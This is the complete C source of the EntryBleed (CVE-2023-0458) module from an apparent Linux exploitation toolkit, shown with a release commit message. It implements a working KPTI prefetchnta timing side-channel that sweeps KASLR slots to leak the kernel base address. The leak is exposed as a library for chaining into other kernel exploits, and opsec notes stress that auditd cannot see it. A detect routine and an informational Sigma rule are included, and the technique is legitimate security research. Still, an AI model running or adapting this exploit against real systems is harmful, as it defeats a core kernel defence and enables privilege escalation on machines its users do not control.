Files
SKELETONKEY/modules/entrybleed_cve_2023_0458/skeletonkey_modules.c
T
leviathan 5d48a7b0b5 release v0.7.1: arm64-static binary + per-module arch_support
Two additions on top of v0.7.0:

1. skeletonkey-arm64-static is now published alongside the existing
   x86_64-static binary. Built native-arm64 in Alpine via GitHub's
   ubuntu-24.04-arm runner pool (free for public repos as of 2024).
   install.sh auto-picks it based on 'uname -m'; SKELETONKEY_DYNAMIC=1
   fetches the dynamic build instead. Works on Raspberry Pi 4+, Apple
   Silicon Linux VMs, AWS Graviton, Oracle Ampere, Hetzner ARM, etc.

   .github/workflows/release.yml refactor: the previous single
   build-static-x86_64 job becomes a build-static matrix with two
   entries (x86_64-static on ubuntu-latest, arm64-static on
   ubuntu-24.04-arm). Both share the same Alpine container + build
   recipe.

2. .arch_support field on struct skeletonkey_module — honest per-module
   labeling of which architectures the exploit() body has been verified
   on. Three categories:

     'any' (4 modules): pwnkit, sudo_samedit, sudoedit_editor,
       pack2theroot. Purely userspace; arch-independent.

     'x86_64' (1 module): entrybleed. KPTI prefetchnta side-channel;
       x86-only by physics. Already source-gated (returns
       PRECOND_FAIL on non-x86_64).

     'x86_64+unverified-arm64' (26 modules): kernel exploitation
       code. The bug class is generic but the exploit primitives
       (msg_msg sprays, finisher chain, struct offsets) haven't been
       confirmed on arm64. detect() still works (just reads ctx->host);
       only the --exploit path is in question.

   --list now has an ARCH column (any / x64 / x64?) and the footer
   prints 'N arch-independent (any)'.
   --module-info prints 'arch support: <value>'.
   --scan --json adds 'arch_support' to each module record.

This is the honest 'arm64 works for detection on every module +
exploitation on 4 of them today; the rest await empirical arm64
sweep' framing — not pretending the kernel exploits already work
there, but not blocking the arm64 binary on that either. arm64
users get the full triage workflow + a handful of userspace exploits
out of the box, plus a clear roadmap for the rest.

Future work to promote modules from 'x86_64+unverified-arm64' to
'any': add an arm64 Vagrant box (generic/debian12-arm64 etc.) to
tools/verify-vm/ and run a verification sweep on Apple Silicon /
ARM Linux hardware.
2026-05-23 21:10:54 -04:00

299 lines
12 KiB
C

/*
* entrybleed_cve_2023_0458 — SKELETONKEY module
*
* EntryBleed (Lipp et al., USENIX Security '23). A KPTI prefetchnta
* timing side-channel that leaks the kernel base address.
*
* STATUS: 🟢 WORKING — adopted public technique.
*
* - exploit() runs the leak and prints kbase. Empirically 5/5 on
* lts-6.12.88 (verified 2026-05-16 via earlier SKYFALL PoC at
* bugs/leak_write_modprobe_2026-05-16/exploit.c lines ~73-150).
* - detect() checks the host's KPTI status and config. KPTI on + no
* anti-EntryBleed mitigation = VULNERABLE.
* - This module is also a LIBRARY: other modules that need a kbase
* leak as part of a chain can call `entrybleed_leak_kbase_lib()`
* directly (declared in skeletonkey_modules.h).
*
* x86_64 only. On ARM64 / other arches, detect() returns
* SKELETONKEY_PRECOND_FAIL and exploit() returns SKELETONKEY_PRECOND_FAIL.
*
* For users who'd never go to USENIX (TLDR):
* - KPTI unmaps kernel pages from user CR3 on kernel-exit, but leaves
* the syscall-entry trampoline mapped (it has to — that's how user
* syscalls enter the kernel)
* - `prefetchnta <addr>` is observable via timing: mapped addresses
* are much faster than unmapped (the TLB walker speculates even
* for kernel pages without the user-bit)
* - Time prefetchnta across the 16 MiB KASLR range; the fastest
* slot is the real entry_SYSCALL_64
* - Subtract its known offset from kbase → KASLR slide
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/host.h"
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>
/* ---------- Tunables (lts-6.12.x defaults; override via env vars) ---------- */
#define KERNEL_LOWER 0xffffffff80000000UL
#define KERNEL_UPPER 0xffffffffc0000000UL
#define KASLR_STRIDE 0x200000UL /* 2MiB — KASLR slot granularity */
#define DEFAULT_ENTRY_OFF 0x5600000UL /* entry_SYSCALL_64 slot offset for lts-6.12.x */
#define ROUNDS 32 /* per-candidate timing rounds */
#define HOT_RUNS 32 /* warm-the-syscall iterations */
#if defined(__x86_64__) || defined(_M_X64)
/* Some libcs / non-glibc environments don't define __always_inline.
* Provide a local fallback so this file builds on musl, macOS clangd,
* etc. (Builds on glibc unchanged.) */
#ifndef __always_inline
#define __always_inline inline __attribute__((always_inline))
#endif
static __always_inline uint64_t rdtsc_start(void)
{
unsigned a, d;
__asm__ volatile("mfence\nrdtsc\nmfence" : "=a"(a), "=d"(d) :: "memory");
return ((uint64_t)d << 32) | a;
}
static __always_inline uint64_t rdtsc_end(void)
{
unsigned a, d;
__asm__ volatile("mfence\nrdtscp\nmfence"
: "=a"(a), "=d"(d) :: "rcx", "memory");
return ((uint64_t)d << 32) | a;
}
static __always_inline void prefetch(void *p)
{
__asm__ volatile("prefetchnta (%0)\nprefetcht2 (%0)\n" :: "r"(p));
}
static uint64_t time_slot(uintptr_t addr)
{
uint64_t t0, t1, best = ~0ULL;
for (int i = 0; i < ROUNDS; i++) {
/* Warm the TLB by re-entering the kernel — getpid is the
* canonical zero-side-effect syscall. */
for (int j = 0; j < HOT_RUNS; j++) syscall(SYS_getpid);
t0 = rdtsc_start();
prefetch((void *)addr);
t1 = rdtsc_end();
if (t1 - t0 < best) best = t1 - t0;
}
return best;
}
unsigned long entrybleed_leak_kbase_lib(unsigned long entry_syscall_slot_offset)
{
if (entry_syscall_slot_offset == 0)
entry_syscall_slot_offset = DEFAULT_ENTRY_OFF;
uintptr_t best_base = 0;
uint64_t best_time = ~0ULL;
for (uintptr_t base = KERNEL_LOWER; base < KERNEL_UPPER; base += KASLR_STRIDE) {
uintptr_t probe = base + entry_syscall_slot_offset;
uint64_t t = time_slot(probe);
if (t < best_time) { best_time = t; best_base = base; }
}
return (unsigned long)best_base;
}
/* (read_first_line() removed — meltdown status now comes from
* ctx->host->meltdown_mitigation, populated once at startup in
* core/host.c. One file open across the corpus instead of per-detect.) */
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
{
/* KPTI status comes from the shared host fingerprint
* (ctx->host->meltdown_mitigation) — populated once at startup by
* reading /sys/devices/system/cpu/vulnerabilities/meltdown. The
* raw string is preserved (not just the kpti_enabled bool) so we
* can distinguish "Not affected" (CPU immune; OK) from
* "Mitigation: PTI" / "Vulnerable" (KPTI on; vulnerable to
* EntryBleed) without re-reading sysfs. */
const char *meltdown = ctx->host ? ctx->host->meltdown_mitigation : "";
if (meltdown[0] == '\0') {
if (!ctx->json) {
fprintf(stderr, "[?] entrybleed: meltdown vuln status unknown — "
"assuming KPTI on (conservative)\n");
}
return SKELETONKEY_VULNERABLE;
}
if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", meltdown);
}
/* "Not affected" → CPU is Meltdown-immune → no KPTI → no EntryBleed */
if (strstr(meltdown, "Not affected") != NULL) {
if (!ctx->json) {
fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
"EntryBleed N/A\n");
}
return SKELETONKEY_OK;
}
/* "Mitigation: PTI" or "Vulnerable" or similar — KPTI is most likely
* on, EntryBleed applies. */
if (!ctx->json) {
fprintf(stderr, "[!] entrybleed: KPTI active → "
"VULNERABLE (no canonical anti-EntryBleed patch in mainline)\n");
}
/* Active probe: run a quick reduced-rounds sweep to empirically
* confirm the technique works on this host. Some uncommon CPUs or
* exotic mitigations may neutralize prefetchnta timing in ways the
* meltdown sysfs node doesn't reflect; the active probe catches
* those. Probe is harmless — only reads timing, no syscalls of
* consequence. */
if (ctx->active_probe) {
if (!ctx->json) {
fprintf(stderr, "[*] entrybleed: running quick active probe "
"(reduced-rounds KASLR sweep, ~1s)\n");
}
unsigned long kbase = entrybleed_leak_kbase_lib(0);
/* Sanity: kbase must be in the kernel high half AND
* KASLR-aligned (2MiB) AND non-zero. A real leak typically
* looks like 0xffffffff8X000000. */
bool sane = (kbase >= KERNEL_LOWER && kbase < KERNEL_UPPER
&& (kbase & 0x1fffff) == 0);
if (sane) {
if (!ctx->json) {
fprintf(stderr, "[!] entrybleed: ACTIVE PROBE CONFIRMED — "
"leak yields plausible kbase 0x%lx\n", kbase);
}
return SKELETONKEY_VULNERABLE;
}
if (!ctx->json) {
fprintf(stderr, "[+] entrybleed: active probe returned implausible kbase "
"0x%lx — leak technique not reliable here\n", kbase);
}
/* Implausible probe result. Either the entry_SYSCALL_64 slot
* offset doesn't match lts-6.12.x default (different kernel
* build) — user should set SKELETONKEY_ENTRYBLEED_OFFSET — or
* timing is too noisy. Don't claim CONFIRMED. */
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: re-run with --active to empirically "
"confirm the leak technique fires on this host\n");
fprintf(stderr, "[i] entrybleed: --exploit will leak kbase (harmless leak; "
"no /etc/passwd writes)\n");
}
return SKELETONKEY_VULNERABLE;
}
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
{
const char *off_env = getenv("SKELETONKEY_ENTRYBLEED_OFFSET");
unsigned long off = 0;
if (off_env) {
off = strtoul(off_env, NULL, 0);
if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: using SKELETONKEY_ENTRYBLEED_OFFSET=0x%lx\n", off);
}
} else if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: using default entry_SYSCALL_64 slot offset "
"0x%lx (lts-6.12.x). Override via SKELETONKEY_ENTRYBLEED_OFFSET=0x...\n",
DEFAULT_ENTRY_OFF);
}
if (!ctx->json) {
fprintf(stderr, "[*] entrybleed: sweeping KASLR slots 0x%lx..0x%lx (stride 0x%lx)\n",
KERNEL_LOWER, KERNEL_UPPER, KASLR_STRIDE);
}
unsigned long kbase = entrybleed_leak_kbase_lib(off);
if (kbase == 0) {
fprintf(stderr, "[-] entrybleed: leak failed (kbase == 0)\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (ctx->json) {
fprintf(stdout, "{\"kbase\":\"0x%lx\"}\n", kbase);
} else {
fprintf(stdout, "[+] entrybleed: leaked kbase = 0x%lx\n", kbase);
fprintf(stderr, "[+] entrybleed: KASLR slide = 0x%lx (relative to 0xffffffff81000000)\n",
kbase - 0xffffffff81000000UL);
}
return SKELETONKEY_EXPLOIT_OK;
}
#else /* not x86_64 */
unsigned long entrybleed_leak_kbase_lib(unsigned long off)
{
(void)off;
return 0;
}
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[i] entrybleed: x86_64 only; this build is for a "
"different architecture\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] entrybleed: x86_64 only\n");
return SKELETONKEY_PRECOND_FAIL;
}
#endif
/* EntryBleed is a side-channel; auditd / file-write rules don't catch
* it (no syscalls of interest fire). The most we can do is flag
* processes spending unusual time in tight prefetchnta loops, which is
* detectable via perf-counter-based EDR but not via classic auditd.
* Ship a Sigma note describing this; auditd rule intentionally omitted. */
static const char entrybleed_sigma[] =
"title: EntryBleed-style KPTI timing side-channel (CVE-2023-0458)\n"
"id: 7b3a48d1-skeletonkey-entrybleed\n"
"status: experimental\n"
"description: |\n"
" EntryBleed leaks kbase via prefetchnta timing against entry_SYSCALL_64.\n"
" No syscall trace and no filesystem footprint, so this rule is\n"
" INFORMATIONAL: it documents the technique for defenders, but reliable\n"
" detection requires perf-counter-based EDR. Treat unexplained spikes in\n"
" prefetchnta-heavy processes as suspicious.\n"
"logsource: {product: linux}\n"
"level: informational\n"
"tags: [attack.discovery, attack.t1082, cve.2023.0458]\n";
const struct skeletonkey_module entrybleed_module = {
.name = "entrybleed",
.cve = "CVE-2023-0458",
.summary = "KPTI prefetchnta timing side-channel → kbase leak (stage-1)",
.family = "entrybleed",
.kernel_range = "any x86_64 KPTI-enabled kernel; only partial mitigations in mainline",
.detect = entrybleed_detect,
.exploit = entrybleed_exploit,
.mitigate = NULL,
.cleanup = NULL,
.detect_auditd = NULL,
.detect_sigma = entrybleed_sigma,
.detect_yara = NULL,
.detect_falco = NULL,
.opsec_notes = "Pure timing side-channel: rdtsc + prefetchnta sweep across the kernel high-half (~16 MiB) to time which 2 MiB page is mapped (entry_SYSCALL_64) and subtract its known offset from kbase. No syscalls fired, no file artifacts, no network. Classic auditd cannot see it; perf-counter EDR can flag a process spending unusual time in tight prefetchnta loops but classic rules will not. No cleanup needed.",
.arch_support = "x86_64",
};
void skeletonkey_register_entrybleed(void)
{
skeletonkey_register(&entrybleed_module);
}